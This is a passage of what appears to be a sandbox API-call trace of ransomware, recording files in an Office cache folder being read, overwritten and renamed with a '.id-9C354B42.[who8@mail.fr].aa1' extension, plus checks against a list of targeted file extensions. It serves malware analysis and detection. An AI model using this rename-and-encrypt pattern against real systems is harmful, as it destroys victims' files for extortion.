"c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.892] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0220.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0220.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0220.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0220.893] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.021] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.021] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.106] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.106] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.106] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.224] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.224] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0221.241] SetEndOfFile (hFile=0x1fc) returned 1 [0221.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0221.245] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.245] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.246] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.246] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.247] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.247] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0221.249] CloseHandle (hObject=0x1fc) returned 1 [0221.249] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.249] lstrlenW (lpString=".doc") returned 4 [0221.249] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0221.249] lstrlenW (lpString=".docx") returned 5 [0221.249] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0221.249] lstrlenW (lpString=".pdf") returned 4 [0221.249] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0221.249] lstrlenW (lpString=".xls") returned 4 [0221.249] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0221.249] lstrlenW (lpString=".xlsx") returned 5 [0221.250] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0221.250] lstrlenW (lpString=".ppt") returned 4 [0221.250] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0221.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.250] lstrlenW (lpString=".zip") returned 4 [0221.250] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0221.250] lstrlenW (lpString=".rar") returned 4 [0221.250] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0221.250] lstrlenW (lpString=".bz2") returned 4 [0221.250] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0221.250] lstrlenW (lpString=".7z") returned 3 [0221.250] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0221.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.250] lstrlenW (lpString=".dbf") returned 4 [0221.250] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0221.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.250] lstrlenW (lpString=".1cd") returned 4 [0221.250] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0221.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.250] lstrlenW (lpString=".jpg") returned 4 [0221.250] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0221.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.250] lstrlenW (lpString=".doc") returned 4 [0221.250] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0221.250] lstrlenW (lpString=".docx") returned 5 [0221.250] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0221.250] lstrlenW (lpString=".pdf") returned 4 [0221.251] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0221.251] lstrlenW (lpString=".xls") returned 4 [0221.251] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0221.251] lstrlenW (lpString=".xlsx") returned 5 [0221.251] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0221.251] lstrlenW (lpString=".ppt") returned 4 [0221.251] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0221.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.251] lstrlenW (lpString=".zip") returned 4 [0221.251] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0221.251] lstrlenW (lpString=".rar") returned 4 [0221.251] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0221.251] lstrlenW (lpString=".bz2") returned 4 [0221.251] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0221.251] lstrlenW (lpString=".7z") returned 3 [0221.251] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0221.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.251] lstrlenW (lpString=".dbf") returned 4 [0221.251] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0221.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.251] lstrlenW (lpString=".1cd") returned 4 [0221.251] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0221.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0221.251] lstrlenW (lpString=".jpg") returned 4 [0221.251] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0221.252] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0221.252] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0221.252] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.252] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=27532288) returned 1 [0221.252] CloseHandle (hObject=0x1fc) returned 1 [0221.252] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0221.252] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.252] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0221.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.254] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0221.254] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.254] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.318] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.318] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.359] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.359] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.359] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.435] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.435] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0221.452] SetEndOfFile (hFile=0x1fc) returned 1 [0221.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f32900 [0221.607] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.607] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.608] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.608] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.611] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f32900 | out: hHeap=0x4f0000) returned 1 [0221.613] CloseHandle (hObject=0x1fc) returned 1 [0221.613] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.613] lstrlenW (lpString=".doc") returned 4 [0221.613] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0221.613] lstrlenW (lpString=".docx") returned 5 [0221.613] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0221.613] lstrlenW (lpString=".pdf") returned 4 [0221.613] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0221.613] lstrlenW (lpString=".xls") returned 4 [0221.613] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0221.613] lstrlenW (lpString=".xlsx") returned 5 [0221.613] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0221.613] lstrlenW (lpString=".ppt") returned 4 [0221.613] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0221.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.613] lstrlenW (lpString=".zip") returned 4 [0221.613] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0221.613] lstrlenW (lpString=".rar") returned 4 [0221.614] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0221.614] lstrlenW (lpString=".bz2") returned 4 [0221.614] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0221.614] lstrlenW (lpString=".7z") returned 3 [0221.614] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0221.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.614] lstrlenW (lpString=".dbf") returned 4 [0221.614] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0221.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.614] lstrlenW (lpString=".1cd") returned 4 [0221.614] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0221.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.614] lstrlenW (lpString=".jpg") returned 4 [0221.614] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0221.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.620] lstrlenW (lpString=".doc") returned 4 [0221.620] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0221.620] lstrlenW (lpString=".docx") returned 5 [0221.620] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0221.620] lstrlenW (lpString=".pdf") returned 4 [0221.620] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0221.620] lstrlenW (lpString=".xls") returned 4 [0221.620] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0221.620] lstrlenW (lpString=".xlsx") returned 5 [0221.620] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0221.620] lstrlenW (lpString=".ppt") returned 4 [0221.620] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0221.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.620] lstrlenW (lpString=".zip") returned 4 [0221.620] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0221.620] lstrlenW (lpString=".rar") returned 4 [0221.620] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0221.620] lstrlenW (lpString=".bz2") returned 4 [0221.620] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0221.621] lstrlenW (lpString=".7z") returned 3 [0221.621] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0221.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.621] lstrlenW (lpString=".dbf") returned 4 [0221.621] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0221.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.621] lstrlenW (lpString=".1cd") returned 4 [0221.621] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0221.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0221.621] lstrlenW (lpString=".jpg") returned 4 [0221.621] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0221.621] lstrcmpiW (lpString1=".exe", lpString2=".aa1") returned 1 [0221.621] lstrlenW (lpString="setup.exe") returned 9 [0221.621] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.621] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1377656) returned 1 [0221.621] CloseHandle (hObject=0x220) returned 1 [0221.621] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0221.622] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.622] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.622] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0221.622] GetLastError () returned 0x0 [0221.622] ReadFile (in: hFile=0x220, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0221.683] WriteFile (in: hFile=0x224, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0221.701] ReadFile (in: hFile=0x220, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x50588, lpOverlapped=0x0) returned 1 [0221.716] WriteFile (in: hFile=0x224, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0221.724] ReadFile (in: hFile=0x220, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.724] WriteFile (in: hFile=0x224, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0221.724] SetEndOfFile (hFile=0x224) returned 1 [0221.724] CloseHandle (hObject=0x224) returned 1 [0221.724] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.724] SetEndOfFile (hFile=0x220) returned 1 [0221.729] CloseHandle (hObject=0x220) returned 1 [0221.729] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.730] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0221.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.731] lstrlenW (lpString=".doc") returned 4 [0221.731] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0221.731] lstrlenW (lpString=".docx") returned 5 [0221.731] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0221.731] lstrlenW (lpString=".pdf") returned 4 [0221.731] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0221.731] lstrlenW (lpString=".xls") returned 4 [0221.731] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0221.731] lstrlenW (lpString=".xlsx") returned 5 [0221.731] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0221.731] lstrlenW (lpString=".ppt") returned 4 [0221.731] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0221.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.731] lstrlenW (lpString=".zip") returned 4 [0221.731] lstrcmpiW (lpString1=".zip", 